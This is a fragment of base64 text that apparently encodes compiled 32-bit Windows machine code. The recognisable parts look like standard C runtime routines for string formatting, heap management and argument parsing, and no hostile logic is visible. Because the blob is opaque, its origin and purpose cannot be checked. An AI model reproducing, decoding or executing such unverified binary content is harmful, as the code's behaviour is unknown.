+1vPv//+hB1v//g6W8+///AFmLtcD7//8PtwaJhej7//9mhcB0KouNpPv//4ud5Pv//4vQ6Zb1///oIdz//8cAFgAAADPAUFBQUFDpMvX//4C9tPv//wB0CouFsPv//4NgcP2LheD7//+LTfxfXjPNW+hpzf//ycONSQC3ZwAQmWUAEMtlABAoZgAQdWYAEIFmABDIZgAQ2GcAEIv/VYvsgex0BAAAoRxQARAzxYlF/FOLXRRWi3UIM8BX/3UQi30MjY20+///ibXE+///iZ3o+///iYWs+///iYX4+///iYXU+///iYX0+///iYXc+///iYWw+///iYXY+///6P3O//+F9nU16FTb///HABYAAAAzwFBQUFBQ6Nra//+DxBSAvcD7//8AdAqLhbz7//+DYHD9g8j/6c8KAAAz9jv+dRLoGdv//1ZWVlbHABYAAABW68UPtw+JteD7//+Jtez7//+Jtcz7//+Jtaj7//+JjeT7//9mO84PhHQKAABqAloD+jm14Pv//4m9oPv//w+MSAoAAI1B4GaD+Fh3Dw+3wQ+2gKAUARCD4A/rAjPAi7XM+///a8AJD7aEMMAUARBqCMHoBF6Jhcz7//87xg+EM////4P4Bw+H3QkAAP8khZB7ABAzwION9Pv///+JhaT7//+JhbD7//+JhdT7//+Jhdz7//+Jhfj7//+Jhdj7///psAkAAA+3wYPoIHRIg+gDdDQrxnQkK8J0FIPoAw+FhgkAAAm1+Pv//+mHCQAAg434+///BOl7CQAAg434+///AelvCQAAgY34+///gAAAAOlgCQAACZX4+///6VUJAABmg/kqdSuLA4PDBImd6Pv//4mF1Pv//4XAD402CQAAg434+///BPed1Pv//+kkCQAAi4XU+///a8AKD7fJjUQI0ImF1Pv//+kJCQAAg6X0+///AOn9CAAAZoP5KnUliwODwwSJnej7//+JhfT7//+FwA+N3ggAAION9Pv////p0ggAAIuF9Pv//2vACg+3yY1ECNCJhfT7///ptwgAAA+3wYP4SXRRg/hodECD+Gx0GIP4dw+FnAgAAIGN+Pv//wAIAADpjQgAAGaDP2x1EQP6gY34+///ABAAAOl2CAAAg434+///EOlqCAAAg434+///IOleCAAAD7cHZoP4NnUZZoN/AjR1EoPHBIGN+Pv//wCAAADpPAgAAGaD+DN1GWaDfwIydRKDxwSBpfj7////f///6R0IAABmg/hkD4QTCAAAZoP4aQ+ECQgAAGaD+G8PhP8HAABmg/h1D4T1BwAAZoP4eA+E6wcAAGaD+FgPhOEHAACDpcz7//8Ai4XE+///UY214Pv//8eF2Pv//wEAAADoUvD//1npuAcAAA+3wYP4ZA+PMAIAAA+EvQIAAIP4Uw+PGwEAAHR+g+hBdBArwnRZK8J0CCvCD4XsBQAAg8Egx4Wk+///AQAAAImN5Pv//4ON+Pv//0CDvfT7//8AjbX8+///uAACAACJtfD7//+Jhez7//8PjY0CAADHhfT7//8GAAAA6ekCAAD3hfj7//8wCAAAD4XJAAAAg434+///IOm9AAAA94X4+///MAgAAHUHg434+///IIu99Pv//4P//3UFv////3+DwwT2hfj7//8giZ3o+///i1v8iZ3w+///D4QFBQAAhdt1C6EgXQEQiYXw+///g6Xs+///AIu18Pv//4X/D44dBQAAigaEwA+EEwUAAI2NtPv//w+2wFFQ6F7L//9ZWYXAdAFGRv+F7Pv//zm97Pv//3zQ6egEAACD6FgPhPACAAArwg+ElQAAAIPoBw+E9f7//yvCD4XGBAAAD7cDg8MEM/ZG9oX4+///IIm12Pv//4md6Pv//4mFnPv//3RCiIXI+///jYW0+///UIuFtPv//8aFyfv//wD/sKwAAACNhcj7//9QjYX8+///UOicRAAAg8QQhcB9D4m1sPv//+sHZomF/Pv//42F/Pv//4mF8Pv//4m17Pv//+lCBAAAiwODwwSJnej7//+FwHQ6i0gEhcl0M/eF+Pv//wAIAAAPvwCJjfD7//90EpkrwseF2Pv//wEAAADp/QMAAIOl2Pv//wDp8wMAAKEgXQEQiYXw+///UOjoJQAAWencAwAAg/hwD4/2AQAAD4TeAQAAg/hlD4zKAwAAg/hnD47o/f//g/hpdG2D+G50JIP4bw+FrgMAAPaF+Pv//4CJteT7//90YYGN+Pv//wACAADrVYszg8MEiZ3o+///6JpDAACFwA+EVvr///aF+Pv//yB0DGaLheD7//9miQbrCIuF4Pv//4kGx4Ww+///AQAAAOnBBAAAg434+///QMeF5Pv//woAAAD3hfj7//8AgAAAD4SrAQAAA96LQ/iLU/zp5wEAAHUSZoP5Z3Vjx4X0+///AQAAAOtXOYX0+///fgaJhfT7//+BvfT7//+jAAAAfj2LvfT7//+Bx10BAABX6PEEAABZi43k+///iYWo+///hcB0EImF8Pv//4m97Pv//4vw6wrHhfT7//+jAAAAiwODwwiJhZT7//+LQ/yJhZj7//+NhbT7//9Q/7Wk+///D77B/7X0+///iZ3o+///UP+17Pv//42FlPv//1ZQ/zVAXQEQ6Kbk//9Z/9CLnfj7//+DxByB44AAAAB0IYO99Pv//wB1GI2FtPv//1BW/zVMXQEQ6Hbk//9Z/9BZWWaDveT7//9ndRyF23UYjYW0+///UFb/NUhdARDoUOT//1n/0FlZgD4tdRGBjfj7//8AAQAARom18Pv//1bpCP7//4m19Pv//8eFrPv//wcAAADrJIPocw+Eavz//yvCD4SK/v//g+gDD4XJAQAAx4Ws+///JwAAAPaF+Pv//4DHheT7//8QAAAAD4Rq/v//ajBYZomF0Pv//4uFrPv//4PAUWaJhdL7//+Jldz7///pRf7///eF+Pv//wAQAAAPhUX+//+DwwT2hfj7//8gdBz2hfj7//9AiZ3o+///dAYPv0P86wQPt0P8mesX9oX4+///QItD/HQDmesCM9KJnej7///2hfj7//9AdBuF0n8XfASFwHMR99iD0gD32oGN+Pv//wABAAD3hfj7//8AkAAAi9qL+HUCM9uDvfT7//8AfQzHhfT7//8BAAAA6xqDpfj7///3uAACAAA5hfT7//9+BomF9Pv//4vHC8N1BiGF3Pv//421+/3//4uF9Pv///+N9Pv//4XAfwaLxwvDdC2LheT7//+ZUlBTV+j3QQAAg8Ewg/k5iZ2Q+///i/iL2n4GA42s+///iA5O672Nhfv9//8rxkb3hfj7//8AAgAAiYXs+///ibXw+///dFmFwHQHi86AOTB0Tv+N8Pv//4uN8Pv//8YBMEDrNoXbdQuhJF0BEImF8Pv//4uF8Pv//8eF2Pv//wEAAADrCU9mgzgAdAYDwoX/dfMrhfD7///R+ImF7Pv//4O9sPv//wAPhWUBAACLhfj7//+oQHQrqQABAAB0BGot6w6oAXQEaivrBqgCdBRqIFhmiYXQ+///x4Xc+///AQAAAIud1Pv//4u17Pv//yveK53c+///9oX4+///DHUX/7XE+///jYXg+///U2og6Orp//+DxAz/tdz7//+LvcT7//+NheD7//+NjdD7///o8en///aF+Pv//whZdBv2hfj7//8EdRJXU2owjYXg+///6Kjp//+DxAyDvdj7//8AdXWF9n5xi73w+///ibXk+////43k+///jYW0+///UIuFtPv///+wrAAAAI2FnPv//1dQ6DY/AACDxBCJhZD7//+FwH4p/7Wc+///i4XE+///jbXg+///6BPp//8DvZD7//+DveT7//8AWX+m6xyDjeD7////6xOLjfD7//9WjYXg+///6Dzp//9Zg73g+///AHwg9oX4+///BHQX/7XE+///jYXg+///U2og6O7o//+DxAyDvaj7//8AdBP/taj7///omsr//4OlqPv//wBZi72g+///i53o+///D7cHM/aJheT7//9mO8Z0B4vI6aH1//85tcz7//90DYO9zPv//wcPhVD1//+AvcD7//8AdAqLhbz7//+DYHD9i4Xg+///i038X14zzVvoyMH//8nDi/9gcwAQWHEAEIpxABDlcQAQMXIAED1yABCDcgAQgnMAEIv/VYvsVlcz9v91COi5IAAAi/hZhf91JzkFaGMBEHYfVv8VsAABEI2G6AMAADsFaGMBEHYDg8j/i/CD+P91yovHX15dw4v/VYvsVlcz9moA/3UM/3UI6Io/AACL+IPEDIX/dSc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcOLx19eXcOL/1WL7FZXM/b/dQz/dQjoXkAAAIv4WVmF/3UsOUUMdCc5BWhjARB2H1b/FbAAARCNhugDAAA7BWhjARB2A4PI/4vwg/j/dcGLx19eXcOL/1WL7Fe/6AMAAFf/FbAAARD/dQj/FZQAARCBx+gDAACB/2DqAAB3BIXAdN5fXcOL/1WL7OiwQwAA/3UI6P1BAAD/NRBYARDo/t7//2j/AAAA/9CDxAxdw4v/VYvsaBwDARD/FZQAARCFwHQVaAwDARBQ/xWYAAEQhcB0Bf91CP/QXcOL/1WL7P91COjI////Wf91CP8VtAABEMxqCOj0DwAAWcNqCOgRDwAAWcOL/1WL7FaL8OsLiwaFwHQC/9CDxgQ7dQhy8F5dw4v/VYvsVot1CDPA6w+FwHUQiw6FyXQC/9GDxgQ7dQxy7F5dw4v/VYvsgz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